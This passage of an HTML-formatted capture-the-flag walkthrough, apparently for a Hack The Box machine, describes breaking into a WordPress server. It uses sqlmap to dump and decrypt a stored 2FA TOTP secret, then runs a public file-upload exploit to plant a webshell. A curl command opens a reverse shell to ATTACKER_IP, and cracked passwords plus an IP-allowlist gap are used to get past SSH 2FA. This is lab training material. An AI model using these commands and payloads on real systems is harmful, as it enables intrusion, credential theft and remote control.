        &lt;span class="nf"&gt;delete_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'mo2f_customerKey'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;delete_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'mo2f_api_key'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;delete_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'mo2f_customer_token'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="mf"&gt;...&lt;/span&gt;
        &lt;span class="c1"&gt;//delete user specific key-value pair&lt;/span&gt;
        &lt;span class="nv"&gt;$users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_users&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$users&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;delete_user_meta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'mo_2factor_user_registration_status'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nf"&gt;delete_user_meta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'mo_2factor_mobile_registration_status'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nf"&gt;delete_user_meta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'mo_2factor_user_registration_with_miniorange'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nf"&gt;delete_user_meta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="no"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'mo_2factor_map_id_with_email'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirms the pattern (&lt;code&gt;mo2f_*&lt;/code&gt; for global options, &lt;code&gt;mo_2factor_*&lt;/code&gt; / &lt;code&gt;mo2f_*&lt;/code&gt; for per-user meta) but doesn't list the specific keys for the &lt;em&gt;soft token / Google Authenticator&lt;/em&gt; feature specifically, since that's a separate module not shown in the files reviewed so far. Cross-referenced this naming convention against the plugin's public source mirror (&lt;a href="https://github.com/wp-plugins/miniorange-2-factor-authentication/tree/master" rel="noopener noreferrer"&gt;https://github.com/wp-plugins/miniorange-2-factor-authentication/tree/master&lt;/a&gt;) to find that module, which pinned down the exact meta keys used for the Google Authenticator secret and its associated encryption key: &lt;code&gt;mo2f_gauth_key&lt;/code&gt; and &lt;code&gt;mo2f_get_auth_rnd_string&lt;/code&gt;. Confirming these exact names mattered because sqlmap needs a precise &lt;code&gt;meta_key&lt;/code&gt; value to filter on with &lt;code&gt;--where&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This also explains the whole approach: since the plugin stores the TOTP seed &lt;strong&gt;encrypted, but locally, in the same database already compromised by the SQLi&lt;/strong&gt;, database access is equivalent to defeating the 2FA entirely - no need to touch the actual OTP-verification flow at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pulling the encrypted secret and its key
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://phoenix.htb/forum/?subscribe_topic=1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; subscribe_topic &lt;span class="nt"&gt;--technique&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;BEUT &lt;span class="nt"&gt;--dbms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mysql &lt;span class="nt"&gt;--time-sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; wordpress &lt;span class="nt"&gt;-T&lt;/span&gt; wp_usermeta &lt;span class="nt"&gt;-C&lt;/span&gt; meta_value &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--where&lt;/span&gt; &lt;span class="s2"&gt;"user_id=1 and meta_key='mo2f_gauth_key'"&lt;/span&gt; &lt;span class="nt"&gt;--dump&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Database: wordpress
Table: wp_usermeta
[1 entry]
+--------------------------------------------------------------------------------------------------------------+
| meta_value                                                                                                   |
+--------------------------------------------------------------------------------------------------------------+
| qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA= |
+--------------------------------------------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same approach, second key, to get the value needed to decrypt it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://phoenix.htb/forum/?subscribe_topic=1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; subscribe_topic &lt;span class="nt"&gt;--technique&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;BEUT &lt;span class="nt"&gt;--dbms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mysql &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--threads&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10 &lt;span class="nt"&gt;--time-sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; wordpress &lt;span class="nt"&gt;-T&lt;/span&gt; wp_usermeta &lt;span class="nt"&gt;-C&lt;/span&gt; meta_value &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--where&lt;/span&gt; &lt;span class="s2"&gt;"user_id=1 and meta_key='mo2f_get_auth_rnd_string'"&lt;/span&gt; &lt;span class="nt"&gt;--dump&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Database: wordpress
Table: wp_usermeta
[1 entry]
+------------+
| meta_value |
+------------+
| kHHxxX3f   |
+------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Decrypting it
&lt;/h3&gt;

&lt;p&gt;The first blob is base64-encoded and looked like an IV + HMAC + AES-CBC ciphertext layout (a pattern common to a lot of WordPress plugins' custom crypto). Wrote a small Python script to decrypt it using the second value as the key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;Crypto.Cipher&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;Crypto.Util.Padding&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpad&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decrypt_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_b64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_b64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;ivlen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
    &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;ivlen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;ciphertext_raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ivlen&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;  &lt;span class="c1"&gt;# skip past IV and the 32-byte HMAC
&lt;/span&gt;
    &lt;span class="n"&gt;key_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# pad/truncate to 16 bytes
&lt;/span&gt;
    &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MODE_CBC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext_raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;pass&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;decrypt_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;kHHxxX3f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;b'PDEEWIVJSIDWS6WO'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That decoded cleanly to a Base32 string — a genuine TOTP secret: &lt;strong&gt;&lt;code&gt;PDEEWIVJSIDWS6WO&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Fed that into &lt;code&gt;oathtool&lt;/code&gt; to generate a live code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;oathtool &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="nt"&gt;--totp&lt;/span&gt; PDEEWIVJSIDWS6WO
&lt;span class="c"&gt;# 923770&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Used the generated code alongside the admin credentials and got straight into &lt;code&gt;/wp-admin/&lt;/code&gt; as &lt;strong&gt;Phoenix (Administrator)&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Foothold #2: RCE via "Download From Files" Plugin
&lt;/h2&gt;

&lt;p&gt;Browsing the plugins list in wp-admin (direct plugin upload was disabled, so no easy ZIP-based shell) turned up one plugin not seen in the earlier WPScan run: &lt;strong&gt;Download From Files v1.48&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Found a matching public exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;searchsploit download from files
searchsploit &lt;span class="nt"&gt;-m&lt;/span&gt; php/webapps/50287.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Download From Files &amp;lt;= 1.48 - Arbitrary File Upload&lt;/strong&gt; abuses an unauthenticated AJAX action to drop an arbitrary file (including a webshell) directly into &lt;code&gt;wp-admin/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The stock script failed with a TLS error against the self-signed cert, since it never disables certificate verification. Two small changes fixed it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;In &lt;code&gt;vuln_check()&lt;/code&gt;, changed:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;In &lt;code&gt;main()&lt;/code&gt;, changed the upload request:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 50287.py https://phoenix.htb evil.phtml
&lt;span class="c"&gt;# Shell Uploaded!&lt;/span&gt;
&lt;span class="c"&gt;# https://phoenix.htb/wp-admin/evil.phtml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed code execution and popped a reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="s1"&gt;'https://phoenix.htb/wp-admin/evil.phtml?cmd=id'&lt;/span&gt;
&lt;span class="c"&gt;# uid=1001(wp_user) ...&lt;/span&gt;

curl &lt;span class="nt"&gt;-k&lt;/span&gt; https://phoenix.htb/wp-admin/evil.phtml &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'cmd=bash -c "bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/4444 0&amp;gt;&amp;amp;1"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Landed as &lt;strong&gt;wp_user&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Local Enumeration
&lt;/h2&gt;

&lt;p&gt;Checked &lt;code&gt;/etc/passwd&lt;/code&gt; for real login accounts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;root&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;0&lt;/span&gt;:&lt;span class="m"&gt;0&lt;/span&gt;:&lt;span class="n"&gt;root&lt;/span&gt;:/&lt;span class="n"&gt;root&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;bash&lt;/span&gt;
&lt;span class="n"&gt;phoenix&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;1000&lt;/span&gt;:&lt;span class="m"&gt;1000&lt;/span&gt;:&lt;span class="n"&gt;Phoenix&lt;/span&gt;:/&lt;span class="n"&gt;home&lt;/span&gt;/&lt;span class="n"&gt;phoenix&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;bash&lt;/span&gt;
&lt;span class="n"&gt;editor&lt;/span&gt;:&lt;span class="n"&gt;x&lt;/span&gt;:&lt;span class="m"&gt;1002&lt;/span&gt;:&lt;span class="m"&gt;1002&lt;/span&gt;:&lt;span class="n"&gt;John&lt;/span&gt; &lt;span class="n"&gt;Smith&lt;/span&gt;,...:/&lt;span class="n"&gt;home&lt;/span&gt;/&lt;span class="n"&gt;editor&lt;/span&gt;:/&lt;span class="n"&gt;bin&lt;/span&gt;/&lt;span class="n"&gt;bash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirms &lt;code&gt;editor&lt;/code&gt; = John Smith = &lt;code&gt;jsmith&lt;/code&gt; from the earlier DB dump.&lt;/p&gt;

&lt;p&gt;Went back and let John keep cracking the remaining hashes in the background - cracked 2 more (&lt;code&gt;superphoenix&lt;/code&gt; for Jsmith, &lt;code&gt;password@1234&lt;/code&gt; for john), giving a usable login: &lt;strong&gt;editor / superphoenix&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  SSH: Blocked by 2FA and an IP Allowlist
&lt;/h2&gt;

&lt;p&gt;Tried SSH directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh editor@phoenix.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The password was accepted but a &lt;strong&gt;Verification code&lt;/strong&gt; prompt appeared too. This was the second sign (after &lt;code&gt;su phoenix&lt;/code&gt; behaving the same way earlier) that 2FA on this box isn't just a WordPress thing - it's enforced at the OS login level as well, for both &lt;code&gt;su&lt;/code&gt; and &lt;code&gt;sshd&lt;/code&gt;. On Linux, PAM (Pluggable Authentication Modules) is what chains together auth steps like this for system services, so that's where to look next.&lt;/p&gt;

&lt;p&gt;Compared the box's &lt;code&gt;/etc/pam.d/sshd&lt;/code&gt; against a clean Ubuntu copy to spot the customizations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;diff sshd /etc/pam.d/sshd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two extra lines stood out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;auth&lt;/span&gt; [&lt;span class="n"&gt;success&lt;/span&gt;=&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;=&lt;span class="n"&gt;ignore&lt;/span&gt;] &lt;span class="n"&gt;pam_access&lt;/span&gt;.&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;accessfile&lt;/span&gt;=/&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;security&lt;/span&gt;/&lt;span class="n"&gt;access&lt;/span&gt;-&lt;span class="n"&gt;local&lt;/span&gt;.&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt; &lt;span class="n"&gt;pam_google_authenticator&lt;/span&gt;.&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;nullok&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;=&lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;=/&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;lib&lt;/span&gt;/&lt;span class="n"&gt;twofactor&lt;/span&gt;/${&lt;span class="n"&gt;USER&lt;/span&gt;}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So SSH here checks an IP allowlist first, and only falls back to Google Authenticator if that check doesn't already grant success. The allowlist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;+ : &lt;span class="n"&gt;ALL&lt;/span&gt; : &lt;span class="m"&gt;10&lt;/span&gt;.&lt;span class="m"&gt;11&lt;/span&gt;.&lt;span class="m"&gt;12&lt;/span&gt;.&lt;span class="m"&gt;13&lt;/span&gt;/&lt;span class="m"&gt;24&lt;/span&gt;
- : &lt;span class="n"&gt;ALL&lt;/span&gt; : &lt;span class="n"&gt;ALL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only logins originating from that specific subnet skip the TOTP prompt entirely.&lt;/p&gt;

&lt;p&gt;Checked the box's own network interfaces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ifconfig
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Turns out the box is dual-homed - besides its normal HTB-facing NIC, it also has a second interface sitting right on &lt;code&gt;10.11.12.13&lt;/code&gt;, exactly the allowed range.&lt;/p&gt;

&lt;p&gt;SSH'd to that second IP instead of the usual one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh editor@10.11.12.13
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This time, only a password prompt - no TOTP challenge. Logged in clean with &lt;code&gt;editor / superphoenix&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User flag:&lt;/strong&gt; &lt;code&gt;[REDACTED]&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege Escalation: Reverse Engineering a Compiled Cron Job
&lt;/h2&gt;

